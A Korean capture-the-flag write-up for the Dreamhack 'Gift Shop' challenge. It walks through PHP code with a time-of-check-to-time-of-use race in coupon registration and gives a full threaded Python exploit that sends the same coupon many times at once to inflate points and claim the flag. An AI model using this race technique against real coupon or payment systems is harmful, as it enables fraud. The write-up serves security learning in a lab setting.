[CTF] Dreamhack 문제 풀이: Gift Shop

선물 가게 🎁

문제: 드림핵 워게임 LEVEL 2 선물 가게 🎁

목차

  1. Vuln
  2. Code
  3. Payload
  4. 참고

1. Vuln

ToCToU(Time of Check to Time of Use): 검사 시간(Time of Check)과 사용 시간(Time of Use)은 시스템 일부의 상태를 검사하고 그 결과를 사용하는 과정에서 발생하는 경쟁 조건으로 인해 발생하는 취약점이다.

어떤 자원/상태를 검사해서 안전하다고 판단한 뒤, 실제로 그 자원/상태를 사용하는 사이에 시간이 조금이라도 흐르면, 그 사이에 다른 요청/프로세스가 상태를 바꿔서 검사 결과가 무의미해지는 문제이다.

2. Code

Coupon을 등록하는 과정에서 검사와 상태 변경 사이에 틈이 커서 동시에 요청이 들어오면 포인트가 여러 번 올라갈 수 있다.

2.1. Ticket

토글 접기/펼치기
// generate_ticket 값이 설정되어 있을 경우
if (isset($_POST['generate_ticket'])) {
	// PDO 연결
	$conn = new mysqli("db", $db_user, $db_pass, $db_name);

	if ($conn->connect_error) {
		die("Connection failed: " . $conn->connect_error);
	}

	$ticket = '';
	$is_unique = false;
	while (!$is_unique) {
		// 16자리 숫자 티켓을 만들어 DB에 저장
		$ticket = str_pad(mt_rand(0, 9999999999999999), 16, '0', STR_PAD_LEFT);
		$stmt = $conn->prepare("SELECT COUNT(*) FROM entry WHERE number = ?");
		$stmt->bind_param("s", $ticket);
		$stmt->execute();
		$stmt->bind_result($count);
		$stmt->fetch();
		$stmt->close();

		// 카운트가 0일 때
		if ($count == 0) {
			$is_unique = true;
			$stmt_insert = $conn->prepare("INSERT INTO entry (number, used, point, regcup) VALUES (?, 0, 0, 0)"); // used, point, regcup 값을 0으로 초기화
			$stmt_insert->bind_param("s", $ticket);
			$stmt_insert->execute();
			$stmt_insert->close();
		}
	}
	echo "<div class='result'>발급된 입장권 번호: $ticket</div>";
	$conn->close();
}
  1. 16자리 숫자 티켓을 mt_rand()로 만들고, DB entry에 저장한다
    • 초기값: used=0, point=0, regcup=0
  2. 발급된 티켓 번호를 화면에 출력한다.

2.2. Event

토글 접기/펼치기
// issue_coupon 값이 설정되어 있을 경우
if (isset($_POST['issue_coupon'])) {
	$conn = new mysqli("db", $db_user, $db_pass, $db_name);

	if ($conn->connect_error) {
		die("Connection failed: " . $conn->connect_error);
	}

	// 티켓숫자는 POST로 전송됨
	$ticket_number = $_POST['ticket_number'];
	$stmt = $conn->prepare("SELECT used FROM entry WHERE number = ?");
	$stmt->bind_param("s", $ticket_number);
	$stmt->execute();
	$stmt->store_result();

	if ($stmt->num_rows > 0) {
		$stmt->bind_result($used);
		$stmt->fetch();

		// used가 0이면
		if ($used == 0) {
			// 쿠폰 생성
			$coupon = generateCoupon();
			// cuppon에 쿠폰값 입력
			$stmt_insert = $conn->prepare("INSERT INTO cuppon (number, used) VALUES (?, 0)");
			$stmt_insert->bind_param("s", $coupon);
			$stmt_insert->execute();
			$stmt_insert->close();
			// entry.used = 1로 변경
			$stmt_update = $conn->prepare("UPDATE entry SET used = 1 WHERE number = ?");
			$stmt_update->bind_param("s", $ticket_number);
			$stmt_update->execute();
			$stmt_update->close();
			// 쿠폰 번호 출력
			echo "<div class='result'>발급된 쿠폰 번호: $coupon</div>";
		} elseif ($used == 1) {
			echo "<script>alert('이미 쿠폰이 발급되었습니다.');</script>";
		}
	} else {
		echo "<script>alert('입장권 번호를 확인해 주세요.');</script>";
	}

	$stmt->close();
	$conn->close();
}
  1. 티켓 번호를 입력하면 entry.used에서 조회한다.
  2. used==0이면:
    • generateCoupon()으로 16자리 쿠폰을 생성한다.
    • cuppon(number, used)에 쿠폰을 INSERT한다.
    • entry.used를 1로 변경한다
    • 쿠폰 번호를 화면에 출력한다.

2.3. Coupon

토글 접기/펼치기
// register_coupon 값이 설정되어 있을 경우
if (isset($_POST['register_coupon'])) {
	// DB, PDO 연결
	$conn = new mysqli("db", $db_user, $db_pass, $db_name);
	if ($conn->connect_error) {
		die("Connection failed: " . $conn->connect_error);
	}
	// 티켓 번호, 쿠폰 번호 입력
	$ticket_number = $_POST['ticket_number'];
	$coupon_number = $_POST['coupon_number'];

	// 티켓 존재 확인 후 entry.point, entry.regcup 읽음
	$stmt_ticket = $conn->prepare("SELECT point, regcup FROM entry WHERE number = ?");
	$stmt_ticket->bind_param("s", $ticket_number);
	$stmt_ticket->execute();
	$stmt_ticket->store_result();
	if ($stmt_ticket->num_rows > 0) {
		$stmt_ticket->bind_result($point, $regcup);
		$stmt_ticket->fetch();

		// 쿠폰 존해 확인 후 cuppon.used 읽음
		$stmt_coupon = $conn->prepare("SELECT used FROM cuppon WHERE number = ?");
		$stmt_coupon->bind_param("s", $coupon_number);
		$stmt_coupon->execute();
		$stmt_coupon->store_result();

		if ($stmt_coupon->num_rows > 0) {
			$stmt_coupon->bind_result($used);
			$stmt_coupon->fetch();

			// used == 0 이고 regcup == 1일 경우
			if ($used == 0 && $regcup == 1) {
				echo "<script>alert('이벤트 쿠폰은 입장권당 1개만 사용 가능합니다.');hideModal();</script>";
			// used == 0일 경우
			} elseif ($used == 0) {
				// point에 10000을 더함
				$stmt_update_point = $conn->prepare("UPDATE entry SET point = point + 10000 WHERE number = ?");
				$stmt_update_point->bind_param("s", $ticket_number);
				$stmt_update_point->execute();
				$stmt_update_point->close();
				echo "<script>hideModal();</script><div class='result'>포인트가 10000 증가했습니다.</div>";

				// sleep(3)
				$stmt_protect_flow = $conn->prepare("SELECT SLEEP(3)");
				$stmt_protect_flow->execute();
				$stmt_protect_flow->close();

				// regcup을 1로 설정
				$stmt_update_point = $conn->prepare("UPDATE entry SET regcup = 1 WHERE number = ?");
				$stmt_update_point->bind_param("s", $ticket_number);
				$stmt_update_point->execute();
				$stmt_update_point->close();

				// used를 1로 설정
				$stmt_update_coupon = $conn->prepare("UPDATE cuppon SET used = 1 WHERE number = ?");
				$stmt_update_coupon->bind_param("s", $coupon_number);
				$stmt_update_coupon->execute();
				$stmt_update_coupon->close();
			// used가 1일 경우
			} elseif ($used == 1) {
				echo "<script>alert('이미 사용된 쿠폰입니다.');hideModal();</script>";
			}
		} else {
			echo "<script>alert('쿠폰 번호를 확인해주세요.');hideModal();</script>";
		}

		$stmt_coupon->close();
	} else {
		echo "<script>alert('입장권 번호를 확인해주세요.');hideModal();</script>";
	}
	
	$stmt_ticket->close();
	$conn->close();
}
  1. 티켓 번호와 쿠폰 번호를 입력한다.
  2. 티켓 존재를 확인하고 entry.point, entry.regcup을 읽는다.
  3. 쿠폰 존재를 확인하고 cuppon.used를 읽는다.
  4. 조건 분기
    • cuppon.used==0 && entry.regcup==1이면 ‘이벤트 쿠폰은 입장권당 1개만 사용 가능합니다.’를 출력한다.
    • cuppon.used==0 && entry.regcup==0이면 point += 10000SLEEP(3)regcup=1, cuppon.used=1로 설정한다.
    • cuppon.used==1이면 ‘이미 사용된 쿠폰입니다.’를 출력한다.

2.4. Product

토글 접기/펼치기
// enter_shop과 buy_product이 없다면
if (!isset($_POST['enter_shop']) && !isset($_POST['buy_product'])) {
...
} elseif (isset($_POST['enter_shop'])) { // enter_shop가 있다면
$conn = new mysqli("db", $db_user, $db_pass, $db_name);

if ($conn->connect_error) {
	die("Connection failed: " . $conn->connect_error);
}

// ticket_number 값 조회
$ticket_number = $_POST['ticket_number'];
$stmt_ticket = $conn->prepare("SELECT point FROM entry WHERE number = ?");
$stmt_ticket->bind_param("s", $ticket_number);
$stmt_ticket->execute();
$stmt_ticket->store_result();

if ($stmt_ticket->num_rows > 0) {
	$stmt_ticket->bind_result($point);
	$stmt_ticket->fetch();
	?>
	...
	<?php
} else { ?>
	...
	<script>alert('입장권 번호를 확인해주세요.');</script>
	... <?php
}

$stmt_ticket->close();
$conn->close();
} elseif (isset($_POST['buy_product'])) { // buy_product가 있다면
$conn = new mysqli("db", $db_user, $db_pass, $db_name);

if ($conn->connect_error) {
	die("Connection failed: " . $conn->connect_error);
}

$ticket_number = $_POST['ticket_number'];
$stmt_ticket = $conn->prepare("SELECT point FROM entry WHERE number = ?");
$stmt_ticket->bind_param("s", $ticket_number);
$stmt_ticket->execute();
$stmt_ticket->store_result();

if ($stmt_ticket->num_rows > 0) {
	$stmt_ticket->bind_result($point);
	$stmt_ticket->fetch();
	
	// point가 159000 이상일 경우 플래그 출력
	if ($point >= 159000) {
		echo "<h1>축하합니다!!</h1><br><p>Flag is</br></br>$FLAG</p>";
	} else { ?>
	<script>alert('금액이 부족합니다...');</script>
	...
	<?php
	}
}

$stmt_ticket->close();
$conn->close();
}
  1. 티켓 번호를 입력하면 현재 포인트를 표시한다.
  2. 구매를 클릭하면 포인트를 재조회하고
  3. point가 159000 이상이면 FLAG를 출력한다.
  4. 아니면 ‘금액이 부족합니다…‘를 출력한다.

3. Payload

토글 접기/펼치기
import re
import time
import threading
from concurrent.futures import ThreadPoolExecutor, as_completed

import requests
from bs4 import BeautifulSoup as bs


# 매칭 조건
RE_TICKET = re.compile(r"발급된\s*입장권\s*번호:\s*(\d{16})")
RE_COUPON = re.compile(r"발급된\s*쿠폰\s*번호:\s*([A-Z0-9]{16})")
RE_POINT  = re.compile(r"(현재\s*포인트|포인트)\s*:\s*([0-9]+)")
RE_FLAG   = re.compile(r"(DH\{[^}]+\})")

# html에서 글 추출
def html_to_text(resp: requests.Response) -> str:
    soup = bs(resp.content, "html.parser")
    return soup.get_text(separator="\n", strip=True)

# 패턴 매칭
def extract_one(pattern: re.Pattern, text: str, group: int = 1):
    m = pattern.search(text)
    return m.group(group) if m else None

# 티켓 발급
def get_ticket(url: str, timeout: float) -> str:
    with requests.Session() as se:
        resp = se.post(url=url, params={"page": "ticket"}, data={"generate_ticket": ""}, timeout=timeout)
        resp.raise_for_status()
        text = html_to_text(resp)
        ticket = extract_one(RE_TICKET, text)
        if not ticket:
            raise
        return ticket

# 쿠폰 발급
def get_coupon(url: str, ticket: str, timeout: float) -> str:
    with requests.Session() as se:
        resp = se.post(
            url=url,
            params={"page": "event"},
            data={"issue_coupon": "", "ticket_number": ticket},
            timeout=timeout
        )
        text = html_to_text(resp)
        coupon = extract_one(RE_COUPON, text)
        if not coupon:
            raise
        return coupon

# 쓰레드 프로세스
def worker(i: int, url: str, data: dict, barrier: threading.Barrier, barrier_timeout: float, req_timeout: float):
    se = requests.Session()

    t0 = time.perf_counter()
    try:
        barrier.wait(timeout=barrier_timeout)  # barrier timeout 지정
    except threading.BrokenBarrierError as e:
        return {"i": i, "ok": False, "stage": "barrier", "error": repr(e), "elapsed": time.perf_counter() - t0}

    try:
        r = se.post(url, params={"page": "coupon"}, data=data, timeout=req_timeout)

        return {
            "i": i,
            "ok": r.ok,
            "stage": "request",
            "status": r.status_code,
            "elapsed": time.perf_counter() - t0,
        }
    except requests.RequestException as e:
        return {"i": i, "ok": False, "stage": "request", "error": repr(e), "elapsed": time.perf_counter() - t0}
    finally:
        se.close()

# 쿠폰 동시 등록
def submit_coupon_concurrent(url: str, ticket: str, coupon: str, N: int, barrier_timeout: float, req_timeout: float):
    base = requests.Session()
    base.get(url, timeout=req_timeout)

    data = {"register_coupon": "", "ticket_number": ticket, "coupon_number": coupon}
    barrier = threading.Barrier(N)

    results = []
    with ThreadPoolExecutor(max_workers=N) as ex:
        futs = [
            ex.submit(worker, i, url, data, barrier, barrier_timeout, req_timeout)
            for i in range(N)
        ]
        for f in as_completed(futs):
            results.append(f.result())

    results.sort(key=lambda x: x["i"])
    return results

# 포인트 확인
def check_point(url: str, ticket: str, timeout: float) -> int:
    with requests.Session() as se:
        resp = se.post(url, params={"page": "product"}, data={"enter_shop": "", "ticket_number": ticket}, timeout=timeout)
        resp.raise_for_status()

        text = html_to_text(resp)
        point_msg = RE_POINT.search(text)
        if not point_msg:
            raise
        return int(point_msg.group(2))

# 플래그 추출
def get_flag(url: str, ticket: str, timeout: float):
    with requests.Session() as se:
        resp = se.post(url, params={"page": "product"}, data={"buy_product": "", "ticket_number": ticket}, timeout=timeout)
        resp.raise_for_status()

        text = html_to_text(resp)
        flag = extract_one(RE_FLAG, text)
        if not flag:
            raise

        return flag

# 메인
def main():
    url = "http://host3.dreamhack.games:12571/"

    N = 16 # thread 개수
    req_timeout = 10 # request timeout
    barrier_timeout = 10 # barrier timeout

    # 티켓 발급
    ticket = get_ticket(url, req_timeout)
    print(f"ticket: {ticket}")

    # 쿠폰 발급
    coupon = get_coupon(url, ticket, req_timeout)
    print(f"coupon: {coupon}")

    # 쿠폰 동시 등록
    res = submit_coupon_concurrent(url, ticket, coupon, N, barrier_timeout, req_timeout)
    ok_cnt = sum(1 for r in res if r.get("ok"))
    fail_cnt = len(res) - ok_cnt
    print(f"[submit_coupon] N={N} ok={ok_cnt} fail={fail_cnt}")
    
    # 포인트 확인
    point = check_point(url, ticket, req_timeout)
    print(f"point: {point}")

    # flag 추출
    flag = get_flag(url, ticket, req_timeout)
    print(f"flag: {flag}")

if __name__ == "__main__":
    main()

위에서 확인했듯이 ToCToU 취약점을 이용해 쓰레드를 이용해 쿠폰을 동시에 등록하는 함수를 구현했다. 쓰레드 부분은 GPT의 도움을 받았다.

500x268

flag


참고

ToCToU:

Comments

Newest Posts